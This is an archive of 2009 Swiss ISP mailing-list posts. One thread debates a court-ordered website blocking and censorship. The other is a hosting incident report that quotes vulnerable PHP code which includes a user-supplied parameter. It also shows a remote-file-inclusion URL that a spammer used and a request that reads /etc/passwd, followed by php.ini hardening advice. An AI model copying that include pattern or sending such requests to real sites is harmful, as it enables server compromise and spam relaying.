Re: [swinog] SIUG position Re: Post from Canton de Vaud
Another question is this: What happens when one of those domain names expires and someone else registers it and uses it for some quite honorable purpose? That (now-suspended) court order does not appear to foresee any way in which the censorship order could be challenged at a later time on the grounds that the censorship demand no longer has any legal basis. this already happened: www.freejustice.de is on the list of sites to block and currently available to buy from a domain grabber. So one of our lawyers could pick it up and offer legal consultation or other legitimate use ;-) ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
Re: [swinog] SIUG position Re: Post from Canton de Vaud
I think we should pay this domain. After we could receive a lot of money from our Staat... Greetings Xaver - Original Message - From: Andreas Fink af...@list.fink.org To: Norbert Bollow n...@bollow.ch Cc: vorst...@siug.ch; swi...@swinog.ch Sent: Thursday, February 19, 2009 9:03 AM Subject: Re: [swinog] SIUG position Re: Post from Canton de Vaud Another question is this: What happens when one of those domain names expires and someone else registers it and uses it for some quite honorable purpose? That (now-suspended) court order does not appear to foresee any way in which the censorship order could be challenged at a later time on the grounds that the censorship demand no longer has any legal basis. this already happened: www.freejustice.de is on the list of sites to block and currently available to buy from a domain grabber. So one of our lawyers could pick it up and offer legal consultation or other legitimate use ;-) ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
Re: [swinog] F*ing Spammers and stupid customer code...
And disable curl module BTW ;) On Thu, Feb 19, 2009 at 4:41 PM, Radek Mrskos mrs...@volume.ch wrote: I think, this is what you should have anyway in your php.ini allow_url_fopen = Off /Radek ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
Re: [swinog] F*ing Spammers and stupid customer code...
luckily in this very single case! :)
On 19.02.2009, at 17:05, Mike Kellenberger wrote:
luckily in this case: it's a windows server...
regards,
mike
--
Mike Kellenberger mike.kellenber...@escapenet.ch
Escapenet - the Web Company Tel +41 52 235 0700
http://www.escapenet.ch Skype mikek70atwork
-Ursprüngliche Nachricht-
Von: swinog-boun...@lists.swinog.ch [mailto:swinog-boun...@lists.swinog.ch
] Im Auftrag von Gianni Carafa
Gesendet: Donnerstag, 19. Februar 2009 17:04
An: swi...@swinog.ch
Betreff: Re: [swinog] F*ing Spammers and stupid customer code...
Thats bad coding anyway :
http://www.thestupidcustomer.xy/index.php?called_page_link=/etc/passwd
Regards Gianni
Radek Mrskos schrieb:
I think, this is what you should have anyway in your php.ini
allow_url_fopen = Off
/Radek
Am 19.02.2009 um 16:31 schrieb Mike Kellenberger:
Hi all
Just stopped our mail server from spitting out thousands of spam
messages.
We have a customer who has a site with the following (stupid) code
in
his index.php:
if($called_page_link!=)
{
$requested_file=$called_page_link;
}
include($requested_file);
The f*ing spammer found out about this and called the page with:
http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit
ies.com/nimiuu/fuck.txt?
Boom.
Have I already told you that I hate spammers? :-)
Oh well, one down - a few million to go...
Regards,
Mike
--
Mike Kellenberger
mike.kellenber...@escapenet.ch
Escapenet - the Web Company Tel +41 52 235
0700
http://www.escapenet.ch Skype
mikek70atwork
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Mit freundlichen Grüssen
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Baechlerstr. 12Tel: +41 43 534 40 24
CH-8802 Kilchberg Mob: +41 79 219 68 66
PGP:0x8CB69F6D Fax: +41 86079 2196 866
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Re: [swinog] F*ing Spammers and stupid customer code...
luckily in this case: it's a windows server...
regards,
mike
--
Mike Kellenberger mike.kellenber...@escapenet.ch
Escapenet - the Web Company Tel +41 52 235 0700
http://www.escapenet.ch Skype mikek70atwork
-Ursprüngliche Nachricht-
Von: swinog-boun...@lists.swinog.ch [mailto:swinog-boun...@lists.swinog.ch] Im
Auftrag von Gianni Carafa
Gesendet: Donnerstag, 19. Februar 2009 17:04
An: swi...@swinog.ch
Betreff: Re: [swinog] F*ing Spammers and stupid customer code...
Thats bad coding anyway :
http://www.thestupidcustomer.xy/index.php?called_page_link=/etc/passwd
Regards Gianni
Radek Mrskos schrieb:
I think, this is what you should have anyway in your php.ini
allow_url_fopen = Off
/Radek
Am 19.02.2009 um 16:31 schrieb Mike Kellenberger:
Hi all
Just stopped our mail server from spitting out thousands of spam
messages.
We have a customer who has a site with the following (stupid) code in
his index.php:
if($called_page_link!=)
{
$requested_file=$called_page_link;
}
include($requested_file);
The f*ing spammer found out about this and called the page with:
http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit
ies.com/nimiuu/fuck.txt?
Boom.
Have I already told you that I hate spammers? :-)
Oh well, one down - a few million to go...
Regards,
Mike
--
Mike Kellenberger mike.kellenber...@escapenet.ch
Escapenet - the Web Company Tel +41 52 235 0700
http://www.escapenet.ch Skype mikek70atwork
___
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Mit freundlichen Grüssen
Radek Mrskos Email: mrs...@volume.ch
Baechlerstr. 12Tel: +41 43 534 40 24
CH-8802 Kilchberg Mob: +41 79 219 68 66
PGP:0x8CB69F6D Fax: +41 86079 2196 866
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Re: [swinog] F*ing Spammers and stupid customer code...
Hey Mike
First thing to remember: never get nervous about a spammer! There are
too many out there. It's just not worth your time to get angry about
such things...
It was our choice to get sysadmins - spamfighting is one of our big
daily tasks. We might as well work for McDonalds - there's spam too.
Turning off allow_url_fopen CURL might give you some headaches about
customers that definitely need the option to fetch remote data. So
here's my recommended setup (allow_url_include was introduced in PHP
5.2.0):
allow_url_fopen = On
allow_url_include = Off
This will prevent you from the most stupid spammers, at least.
Next, work on some secure PHP setup, say: running PHP as CGI with
Apache's SuExec.
You should also throttle emails sent by PHP, e.g. with a simple
sendmail wrapper:
http://www.iezzi.ch/archives/258
http://www.iezzi.ch/archives/217
Regards,
Philip
--
Onlime Webhosting
Wachterweg 21
CH-8057 Zürich
phone +41 44 508 0702
skype ondalime
i...@onlime.ch - http://www.onlime.ch
On 19.02.2009, at 16:46, Mike Kellenberger wrote:
totally correct, thanks! Looks like I'm the stupid SysAdmin as
well... :-)
Regards,
Mike
--
Mike Kellenberger mike.kellenber...@escapenet.ch
Escapenet - the Web Company Tel +41 52 235 0700
http://www.escapenet.ch Skype mikek70atwork
-Ursprüngliche Nachricht-
Von: swinog-boun...@lists.swinog.ch [mailto:swinog-boun...@lists.swinog.ch
] Im Auftrag von Radek Mrskos
Gesendet: Donnerstag, 19. Februar 2009 16:41
An: Mike Kellenberger
Cc: swi...@swinog.ch
Betreff: Re: [swinog] F*ing Spammers and stupid customer code...
I think, this is what you should have anyway in your php.ini
allow_url_fopen = Off
/Radek
Am 19.02.2009 um 16:31 schrieb Mike Kellenberger:
Hi all
Just stopped our mail server from spitting out thousands of spam
messages.
We have a customer who has a site with the following (stupid) code in
his index.php:
if($called_page_link!=)
{
$requested_file=$called_page_link;
}
include($requested_file);
The f*ing spammer found out about this and called the page with:
http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit
ies.com/nimiuu/fuck.txt?
Boom.
Have I already told you that I hate spammers? :-)
Oh well, one down - a few million to go...
Regards,
Mike
--
Mike Kellenberger mike.kellenber...@escapenet.ch
Escapenet - the Web Company Tel +41 52 235 0700
http://www.escapenet.ch Skype mikek70atwork
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Radek Mrskos Email: mrs...@volume.ch
Baechlerstr. 12Tel: +41 43 534 40 24
CH-8802 Kilchberg Mob: +41 79 219 68 66
PGP:0x8CB69F6D Fax: +41 86079 2196 866
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[swinog] SIUG position Re: Post from Canton de Vaud
If my memory serves well: one of the guy writing the (rather harsh) pages agains the judge had... her (foreigner) wife (deported | casted out)* of switzerland. So, unjustifiable sound uninformed: you can understand better the whole issue with this information in hand. I remember having Mme Juge Françoise Dessaules or some close lastname, on the phone, on the begginning of this issue, it was in 1998 (!), there was no legal framework for her request, I was suprised of their (the judges) reaction when reading the rather lousy written, worded, pages, those few pages had a big impact in their head while not of significant relevance for anyone looking for good quality information. (* had to look in the translation dictionnary for this, not sure the meaning is the best) Regards. - On Thu, Feb 19, 2009 at 1:33 AM, Norbert Bollow n...@bollow.ch wrote: ro...@mgz.ch wrote: Im wondering why this guy taking a big risk in creating those pages somebody must have triggered that sickness. I looked into this a bit back in August last year, seeking to understand what got those guys so upset. IMO the actions of those guys in creating those pages, and protesting in other (at least in part also illegal) ways, are unjustifiable. However that does not at all justify that judge's decision to push Switzerland onto the slippery slope of censorship. there are open points, how to finance the equipment. *If* that court order turns ends up being binding, my understanding is that the equipment will have to be financed just like all other equipment that is required for operating an ISP in accordance with the needs of the customers and the requirements of the law. How to handle an finance an ISP get sued by an client for censorship ? If the ISP blocks *only* websites for which a court order to block them has been served on the ISP, it should be possible to get any complaint dismissed very inexpensively by pointing to that court order. This implies IMO that ISPs should avoid IP-based blocking. I would suggest to configure, in the nameservers which you make available to your customers, false authoritative DNS responses for any domains that you're required to block. Point them to a page which instructs visitors to direct any enquiries regarding the reasons for the block to the court which ordered the block, quoting the case number. Of course this is easy to circumvent for any knowledgable person, but it fulfils the requirement, and it's cheap and relatively transparent. Is the commanding Court legitimated to force all swiss ISP to follow this order ? This is unclear to me as well. Another question is this: What happens when one of those domain names expires and someone else registers it and uses it for some quite honorable purpose? That (now-suspended) court order does not appear to foresee any way in which the censorship order could be challenged at a later time on the grounds that the censorship demand no longer has any legal basis. what does SIUG say to that topic ? there sems to be no activity at all. I have a few hours ago put up copies of the two recent court orders (without the lists of ISP contact person names, which IMO raise some privacy concerns) together with a very minimal comment up on siug.ch If you're interested in seeing SIUG take further action, such as publishing a position statement that explains why such censorship is a bad idea, or organizing public events (e.g. a podium discussion) on this topic, well, you're welcome to volunteer to do the necessary work, or pay someone to do it. :-) Best regards Norbert Bollow, president of SIUG ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
Re: [swinog] SIUG position Re: Post from Canton de Vaud
i was doing a simple search in google to find references to swissjustice different webdesigner, but allways referencing to swissjustice. i think the pages where from before he dived in the darkness. So he needed an webdesigner which is willing to hide as well. He is not so good designer obviously interessting is the c9c.net page what they offer for service. and then : http://www.zivilcourage.ch/web/selbst.php http://www.kinderklau.ch/web/kinder.php http://www.kinderohnerechte.ch/web/selbst.php His name es all over those pages to show just a few ... Roger ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
Re: [swinog] F*ing Spammers and stupid customer code...
Mike Kellenberger wrote: totally correct, thanks! Looks like I'm the stupid SysAdmin as well... :-) Actually, this problem is known since ages. I wonder, why you fall into that right now. But what I really realise is, that this list is populated by Swiss Hosting Sysadmins from all important hosters. But they don't really share their experience and their actual problems. I mean in my old hosting days, I was glad to have some direct connections (for example per IRC), where I just could point out some troubles and solve them quickly. So Hosting-Sysadmins, please get together and share your mind! This list is very network related and this is good so. Probably an other list would suit better for all hosters. Cheerz, - Dan PS: If I still was with a hoster, I would now take care of that. So maybe someone else can take the initiative. ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
Re: [swinog] SIUG position Re: Post from Canton de Vaud
If my memory serves well: one of the guy writing the (rather harsh) pages agains judge had..her (foreigner) wife (deported | casted out)* of switzerland. So, unjustifiable sound uninformed: you can understand better the whole issue with this information in hand. I remember having Mme Juge Françoise Dessaules or some close lastname, on the phone, on the begginning of this issue, it was in 1998 (!), there was no legal framework for her request, I was suprised of their (the judges) reaction when reading the rather lousy written, worded, pages, those few pages had a big impact in their head while not of significant relevance for anyone looking for good quality information. (* had to look in the translation dictionnary for this) regards. On Thu, Feb 19, 2009 at 1:33 AM, Norbert Bollow n...@bollow.ch wrote: ro...@mgz.ch wrote: Im wondering why this guy taking a big risk in creating those pages somebody must have triggered that sickness. I looked into this a bit back in August last year, seeking to understand what got those guys so upset. IMO the actions of those guys in creating those pages, and protesting in other (at least in part also illegal) ways, are unjustifiable. However that does not at all justify that judge's decision to push Switzerland onto the slippery slope of censorship. there are open points, how to finance the equipment. *If* that court order turns ends up being binding, my understanding is that the equipment will have to be financed just like all other equipment that is required for operating an ISP in accordance with the needs of the customers and the requirements of the law. How to handle an finance an ISP get sued by an client for censorship ? If the ISP blocks *only* websites for which a court order to block them has been served on the ISP, it should be possible to get any complaint dismissed very inexpensively by pointing to that court order. This implies IMO that ISPs should avoid IP-based blocking. I would suggest to configure, in the nameservers which you make available to your customers, false authoritative DNS responses for any domains that you're required to block. Point them to a page which instructs visitors to direct any enquiries regarding the reasons for the block to the court which ordered the block, quoting the case number. Of course this is easy to circumvent for any knowledgable person, but it fulfils the requirement, and it's cheap and relatively transparent. Is the commanding Court legitimated to force all swiss ISP to follow this order ? This is unclear to me as well. Another question is this: What happens when one of those domain names expires and someone else registers it and uses it for some quite honorable purpose? That (now-suspended) court order does not appear to foresee any way in which the censorship order could be challenged at a later time on the grounds that the censorship demand no longer has any legal basis. what does SIUG say to that topic ? there sems to be no activity at all. I have a few hours ago put up copies of the two recent court orders (without the lists of ISP contact person names, which IMO raise some privacy concerns) together with a very minimal comment up on siug.ch If you're interested in seeing SIUG take further action, such as publishing a position statement that explains why such censorship is a bad idea, or organizing public events (e.g. a podium discussion) on this topic, well, you're welcome to volunteer to do the necessary work, or pay someone to do it. :-) Best regards Norbert Bollow, president of SIUG ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog ___ swinog mailing list swinog@lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
